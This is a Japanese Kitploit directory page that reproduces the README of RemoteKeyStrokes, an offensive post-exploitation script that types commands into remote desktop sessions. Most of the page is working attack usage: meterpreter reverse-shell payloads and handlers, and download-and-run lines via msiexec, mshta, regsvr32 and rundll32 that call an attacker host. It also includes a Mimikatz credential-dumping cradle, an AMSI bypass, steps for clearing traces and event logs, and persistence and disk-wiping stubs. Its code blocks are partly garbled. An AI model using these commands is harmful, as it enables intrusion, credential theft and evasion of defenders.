Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
RemoteKeyStrokes — グラフィカルデスクトッププログラムを介してキーストロークを自動化するスクリプト。 | Kitploit
ツール/GitHubGitHub/u53rw4r3/remotekeystrokes
特権昇格ペイロード生成永続化メカニズム横移動ポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミング
GitHubu53rw4r3/remotekeystrokes

RemoteKeyStrokes

グラフィカルデスクトッププログラムを介してキーストロークを自動化するスクリプト。

リポジトリを見る
3541年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

RemoteKeyStrokes

アクティブなリモートデスクトップセッションを介してキーストロークを自動化するスクリプトで、オフェンシブオペレーターが living off the land テクニックと組み合わせて使用するのに役立ちます。すべての功績は nopernik にあり、これが可能になったことで、私はそれを改善することにしました。リモートデスクトップを介してコマンドを実行する際のポストエクスプロイテーションフェーズで役立つものが欲しかったのです。また、 SCPA プロジェクトを作成してリソースを整理された方法で収集するのにも役立ちました。

機能

  • コマンド実行
  • ファイル転送
  • 権限昇格 (近日公開)
  • 永続化 (近日公開)
  • アンチフォレンジック (近日公開)
  • Mayhem (近日公開)

インストール

依存関係

残りの依存関係は、ご利用のパッケージマネージャーに従ってインストールしてください。``` $ sudo apt install -y xfreerdp-x11 remmina xdotool

$ sudo dnf install -y xdotool freerdp-2 remmina

$ sudo pacman -S freerdp remmina xdotool

$ sudo emerge xwayland freerdp remmina xdotool

$ sudo nix-env -iA nixpkgs.xwayland nixpkgs.xdotool nixpkgs.freerdp nixpkgs.remmina

root@kitploit:~
### セットアップ

システムにプログラムをインストールし、`remotekeystrokes` のシンボリックリンクとして `rks` を作成します。これはコマンドエイリアスとして使用されます。```
$ sudo wget -O /usr/local/src/remotekeystrokes.sh https://raw.githubusercontent.com/U53RW4R3/RemoteKeyStrokes/main/remotekeystrokes.sh && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/rks && \
sudo chmod 755 /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes /usr/local/bin/rks

ヘルプメニュー```

$ remotekeystrokes -h Usage: remotekeystrokes

Flags:

COMMON OPTIONS: -c, --command <command | file> Specify a command or a file contains commands to execute

root@kitploit:~
-p, --platform <operating_system>   Specify the operating system ("windows" is
                                    set by default if not specified)

-w, --windowname <window_name>      Specify the window name to focus on the
                                    active window ("freerdp" is set by default
                                    if not specified)

-h, --help                          Display this help message

UPLOAD FILES: -i, --input <input_file> Specify the local input file to transfer -o, --output <output_file> Specify the remote output file to transfer

METHODS: -m, --method Specify a method. For command execution method "none" is set by default if not specified. For file transfer "pwshb64" is set by default if not specified. Other available methods are: "elevate", "persistence", "antiforensics", and "mayhem"

root@kitploit:~
-s, --submethod <submethod>         Specify a submethod from a method (applies
                                    with -m flag)

-a, --action <action>               Specify an action from a method and/or
                                    submethod (applies with -m and/or -s flag)

-e, --evasion <evasion>             Specify an evasion method for uploading files
                                    (only works for "pwshb64")
root@kitploit:~
## 使用法

### 0x00 - リモート認証

#### 凡例

- ドル記号(`$`)は、通常のユーザー権限を持つUnixシェルプロンプトを示し、コマンドを含みます。

- 山括弧(`<>`)は必須パラメータを意味します。

- 大括弧(`[]`)は、指定が必須でない場合のオプションパラメータを意味します。

#### RDP

最新のオペレーティングシステムを認証するには、TLSとしての認証を強制するフラグ `/sec:tls` またはNLAとしての認証を強制するフラグ `/sec:nla` のいずれかを指定します。```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>]

レガシーオペレーティングシステムを認証するには、フラグ /sec:rdp を指定して古い認証を強制します。``` $ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:"<domain_name>"] /u:"" /p:"" /v::[]

root@kitploit:~
#### VNC

VNCマシンにリモートで認証するため。```
$ remmina -c vnc://<username>:<password>@<IP>

SSH```

$ ssh [-p ] @

root@kitploit:~
#### Telnet```
$ telnet <IP> [PORT]

RemoteKeyStrokes を使用する場合

認証済みリモートセッションで Windows ターゲット上でコマンドを実行する際に remotekeystrokes(またはエイリアスコマンド rks)を使用するには、実行前にウィンドウ名(-w)で移動する必要があります。デフォルトでは xfreerdp 使用時に FreeRDP を検索します。異なるリモートログインプログラムを使用するシステムを対象とする場合は、必ずウィンドウ名を指定してください。コマンドを発行するには -c フラグを指定します。また、コマンドを記述したテキストファイルを用意すれば、それらを1つずつ読み込みます。このフラグは文字列かファイルかを確認します。

FreeRDP、Remmina、その他のサードパーティプログラムなどのグラフィカルリモートデスクトッププログラムの場合、telnet や ssh のようなリモートターミナルセッションとは異なり、ターゲットマシン内のアクティブなアプリケーションにカーソルを移動する必要があります。例えば、Windows 環境ではコマンドプロンプト(cmd.exe)または PowerShell(powershell.exe)を開く必要があります。Windows ではダイアログボックス(-m dialogbox)を使用してプログラムをすばやく起動することも可能です。最初にこの方法で実行した際は、レジストリエントリから痕跡を消去するようにしてください。その場所は HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU です。Living off the Land(LotL)テクニックだけで迅速な攻撃的措置を実行する方法の例を参照できます。

0x01 - 内部偵察

コマンドプロンプト

ローカルマシンの列挙。``` $ cat recon_local_enum_cmds.txt whoami /all net user net localgroup Administrators ipconfig /all systeminfo

$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!

$ rks -c recon_local_enum_cmds.txt [*] Executing commands... [+] Task completed!

root@kitploit:~
単一のコマンドで実行する。これは特にダイアログボックスを使用する場合に簡潔です。```
$ rks -c "cmd.exe /k \"whoami /all & net user & net localgroup Administrators & ipconfig /all & systeminfo\"" -m dialogbox
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!

Active directory 列挙.``` $ cat recon_ad_enum_cmds.txt net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain

$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!

$ rks -c recon_ad_enum_cmds.txt [*] Executing commands... [+] Task completed!

root@kitploit:~
単一のコマンドで実行するため。これは特にダイアログボックスを使用する場合に簡潔です。```
$ rks -c "cmd.exe /k \"net user /domain & net group \"Domain Admins\" /domain & net group \"Enterprise Admins\" /domain & net group \"Domain Computers\" /domain\""
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!

Powershell

ローカルマシンの列挙 (TODO)``` $ cat recon_local_enum_cmdlets.txt

$ rks -c "powershell.exe" -m dialogbox

$ rks -c recon_local_enum_cmdlets.txt

root@kitploit:~
Active directory 列挙 (TODO)```
$ cat recon_ad_enum_cmdlets.txt

$ rks -c "powershell.exe" -m dialogbox

$ rks -c recon_ad_enum_cmdlets.txt

0x02 - Execute Payload

Windows

PowerShellの内容を読み取りながら、ペイロードを実行します。``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f psh -o payload.ps1

$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"

$ rks -c "powershell.exe" -m dialogbox

$ rks -c payload.ps1

root@kitploit:~
`metasploit-framework`のエクスプロイトモジュール`exploit/multi/script/web_delivery`を使用して、PowerShellのワンライナーペイロードを実行します。```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"

$ rks -c "cmd.exe" -m dialogbox

$ rks -c "powershell.exe -nop -w hidden -e <base64_payload>"

ウェブサーバーをホストしながら、msiexec.exe でペイロードを実行します。``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f msi -o payload.msi

$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"

$ sudo python -m http.server 80

$ rks -c "msiexec /quiet /qn /i http://<attacker_IP>/payload.msi" -m dialogbox

root@kitploit:~
ペイロードを `mshta.exe` で実行し、`metasploit-framework` のエクスプロイトモジュール `exploit/windows/misc/hta_server` を使用します。```
$ sudo msfconsole -qx "use exploit/windows/misc/hta_server; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvhost <server_IP>; set srvport <server_PORT> run"

$ rks -c "mshta.exe http://<attacker_IP>:<attacker_PORT>/payload.hta" -m dialogbox

metasploit-framework の exploit モジュール exploit/windows/smb/smb_delivery を使用して、rundll32.exe でペイロードを実行する。``` $ sudo msfconsole -qx "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set file_name payload.dll; set share staging; run"

$ rks -c "rundll32.exe \<attacker_IP>\staging\payload.dll,0" -m dialogbox

root@kitploit:~
`metasploit-framework` のエクスプロイトモジュール `exploit/multi/script/web_delivery` を使用して、`regsvr32.exe` でペイロードを実行します。```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 3; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"

$ rks -c "regsvr32 /s /n /u /i://http://<attacker_IP>:<attacker_PORT>/payload.sct scrobj.dll" -m dialogbox

クロスプラットフォーム

metasploit-frameworkのエクスプロイトモジュールexploit/multi/script/web_deliveryを使用して、pythonで実行および埋め込みます。``` $ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 0; set payload python/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"

$ rks -c "python -c """

root@kitploit:~
### 0x03 - ファイル転送

合計11のファイル転送方法があります。

|     方法     |      プラットフォーム      | 説明 |
| -------------- | ----------------- | ----------- |
|   `pwshb64`    | Windows および Linux | ファイルをbase64にエンコードし、PowerShellでデコードします。 |
|    `cmdb64`    |      Windows      | `copy con` を使用してエンコードされたbase64ファイルの内容を出力し、`CertUtil.exe` でデコードします。 |
|    `nixb64`    |       Unix        | base64コンテンツをファイルにデコードします。 |
|   `outfile`    | Windows および Linux | `Out-File` コマンドレットを使用してテキストファイルを出力します。 |
|  `outfileb64`  |      Windows      | `Out-File` コマンドレットを使用してエンコードされたbase64ファイルの内容を出力し、`CertUtil.exe` でデコードします。 |
|   `copycon`    |      Windows      | `copy con` コマンドを使用してテキストファイルを出力します。 |
|   `pwshhex`    | Windows および Linux | ファイルを16進数にエンコードし、PowerShellでデコードします。 |
|    `cmdhex`    |      Windows      | 16進数エンコードされたワンライナーを変数に出力し、`CertUtil.exe` でデコードします。 |
|  `copyconhex`  |      Windows      | `copy con` を使用してエンコードされた16進ダンプファイルの内容を出力し、`CertUtil.exe` でデコードします。 |
|   `nixhex`     |       Unix        | 16進数エンコードされたワンライナーを変数に出力し、`echo -e` で `\x` シーケンス文字を解釈してデコードします。これは、特にTelnetにファイル転送機能がないIoTデバイスを扱う場合に適しています。|
|  `outfilehex`  |      Windows      | `Out-File` コマンドレットを使用してエンコードされた16進ダンプファイルの内容を出力し、`CertUtil.exe` でデコードします。 |

隔離されたネットワークでピボットする際に、リモートでファイルをアップロードします。Windows上のリモートパスを指定する場合は、必ず引用符を含めてください。デフォルトでは、指定がない場合、Powershellのbase64を使用してファイルを転送します。これには、サイズが大きい場合でもドロッパーが含まれます。ファイル転送が完了するまでに時間がかかることに留意してください。```
$ rks -c "powershell.exe" -m dialogbox

$ rks -i Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m pwshb64
[*] Transferring file...
[+] File transferred!

ドロッパーを転送するには、特にサイズが大きい場合にCertUtil.exe base64を使用できます。``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport=8443 -f exe -o payload.exe

root@kitploit:~
powershell を使用して `CertUtil.exe` の base64 でドロッパーを転送するには```
$ rks -c "powershell.exe" -m dialogbox

$ rks -i payload.exe -o payload.exe -m outfileb64

レガシーオペレーティングシステムでは、Windows XPのようにPowerShellを欠きコマンドプロンプトしかない場合でも、ファイル転送が可能です。``` $ rks -c "cmd.exe" -m dialogbox

$ rks -i payload.exe -o payload.exe -m cmdb64

root@kitploit:~
C2リスナーを起動し、ペイロードを実行してください。```
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp set lhost <IP>; set lport 8443; run"

$ rks -c ".\payload.exe"

特にシステム管理者やオフェンシブツール向けのファイル転送方法があります。例として、横展開に必要な PsExec64.exe を取り上げます。テキストベースで中断なくアップロードするには時間がかかります。代わりに、Sysinternalsスイートツールキットの正当なWebサイト(live.sysinternals.com)に属するWebDAVをマウントするのが最速の方法です。ファイルエクスプローラーを使うよりもコマンド実行の方がはるかに高速です。以下はコマンドプロンプトでのコマンドです。``` $ cat commands.txt net use z: \live.sysinternals.com\tools copy z:\PsExec64.exe . net use z: /delete

$ rks -c "cmd.exe" -m dialogbox

$ rks -c commands.txt

root@kitploit:~
こちらは、Windows で `PsExec64.exe` を転送する際の powershell cmdlets の別のバリアントです。```
$ cat cmdlets.txt
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\live.sysinternals.com\tools"
Copy-Item z:\PsExec64.exe .
Remove-PSDrive -Name Z

$ rks -c "powershell.exe" -m dialogbox

$ rks -c cmdlets.txt

PowerShellを使用してファイルレスのマルウェアや攻撃ツールを入手する最善の方法は、https://github.comのような正当なウェブサイトをホスト/取得して実行することです。Invoke-Mimikatzを使用して、nishangからクレードルをダウンロードして実行し、認証情報を取得しましょう。``` $ cat hashdump.txt IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1') Invoke-Mimikatz -DumpCreds

$ rks -c "powershell.exe" -m dialogbox

$ rks -c hashdump.txt

root@kitploit:~
大容量ファイルがあり、ファイル転送が完了するのを待つことがほぼ不可能な場合、`xfreerdp` は `/drive:/path/to/directory/` フラグを使用してローカルディレクトリをマウントできます。次に、ファイルブラウザまたはシェルプロンプトで `\\tsclient\<share_name>\` に移動して内容を表示します。```
$ mkdir Tools

$ cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe Tools/

$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | rdp | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>] /drive:Tools

$ rks -c "cmd.exe" -m dialogbox

$ rks -c "dir \\tsclient\<share_name>\"

0x04 - 権限昇格

注意: WIP(作業中)``` $ rks -m elevate -s bypassuac -a info

$ rks -m elevate -s <sub_method>

root@kitploit:~
### 0x05 - 永続性

注記: WIP (作業中)```
$ rks -m persistence -s createuser

$ rks -m persistence -s sethc

0x06 - Defense Evasion(防御回避)

注: WIP(作業中)

AMSI Bypass を PowerShell implant と組み合わせて、Windows Security や AMSIスキャナーと統合されたセキュリティソリューションを回避できます。``` $ cat amsi_bypass.ps1 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

$ cat amsi_bypass.ps1 implant.ps1 > payload.ps1

$ rks -c "powershell.exe" -m dialogbox

$ rks -c payload.ps1

root@kitploit:~
| サポート対象バージョン | `0.6.0` | `1.0.0` | `2.0.0` | `3.0.0` |```
$ rks -m antiforensics -s wevutils

$ rks -m antiforensics -s winevent

$ rks -m antiforensics -s eventvwr

0x07 - Mayhem

注意: WIP (作業中)``` $ rks -m mayhem -s diskpart -a info

$ rks -m mayhem -s diskpart -a cmd

$ rks -m mayhem -s diskpart -a pwsh

root@kitploit:~
### 0x08 - ウィンドウ名を指定する。

VNC、Telnet、またはその他のネットワークプロトコルを対象としている場合、ウィンドウ名を指定できます。これは、`remmina` や名前を変更したターミナルインスタンスを使用する場合に便利です。```
$ rks -c implant.ps1 -w <window_name>

FAQ (よくある質問)

このプロジェクトを始めたきっかけは?

特にローカルネットワーク外では、キーボードで手動入力したりマウスでナビゲートやクリックするのが非常に遅く感じられます。特にネットワークに侵入する際に、そのプロセスを高速化したいだけです。

これはグラフィカルリモートデスクトップ(例:RDP、VNCなど)専用ですか?

必ずしもそうではありません。ファイル転送機能がないTelnetなどのリモートコンソールでも利用できるようにしました。

この技術を自分のプロジェクトや他のトレードクラフト、兵器庫として利用できますか?

これらの技術は一般的であり、BadUSB、マルウェア開発、または関連する他のプロジェクトに再利用できます。これはGNU GPLv3のコピーレフトライセンスの下にあり、ユーザーはプログラムの動作を確認し、ソースコードを自分の要件に合わせて変更し、ソースコードとともに他のユーザーに再配布する権利があります。

wayland ディスプレイサーバーで利用できますか?

現時点では、xdotool の代替となる互換性のあるWaylandツールはありません。dotool は非常に有望ですが、ウィンドウにフォーカスする特定の機能が欠けています。kdotool はKDEデスクトップ環境でのみ利用可能です。Go(dotool が存在するため)または pynput ライブラリを使った Python で再発明する必要があるかもしれません。

トラブルシューティング

攻撃ツールが動作しない

プログラムを初めて実行すると、いくつかの自己説明的なメッセージが表示されるはずです。x11 ウィンドウサーバーに切り替えてください。wayland がサポートされていない理由については FAQ を参照してください。``` $ rks -c "powershell.exe" -m searchbox [ERROR] Wayland isn't supported! [*] Terminating program...

root@kitploit:~
### 攻撃ツールのアンインストール

アンインストールするには。```
$ sudo rm -f /usr/local/bin/remotekeystrokes /usr/local/bin/rks

TODO と協力募集中

  • AES256の暗号化方式をbase64経由で実装する

  • 残りのアップロード方式(Base32、Base2、Base10、Base8)を実装する

  • WindowsとLinuxの両方でprivesc機能を実装する

  • WindowsとLinuxの両方で永続化機能を実装する

  • WindowsとLinuxの両方でアンチフォレンジック機能を実装する

  • WindowsとLinuxの両方でカオス機能を実装する

参考文献

  • ビデオ: sethc.exe バックドア CMD ペイロード配信(USB Rubber Ducky スタイル)

  • オリジナルスクリプト

  • VirtualRubberDucky

  • sticky_keys_hunter

クレジット

  • nopernik

免責事項

あなたの行動によって生じる結果に対する責任は、すべてユーザー自身にあります。大いなる力には大いなる責任が伴うことを忘れないでください。

ツールをダウンロード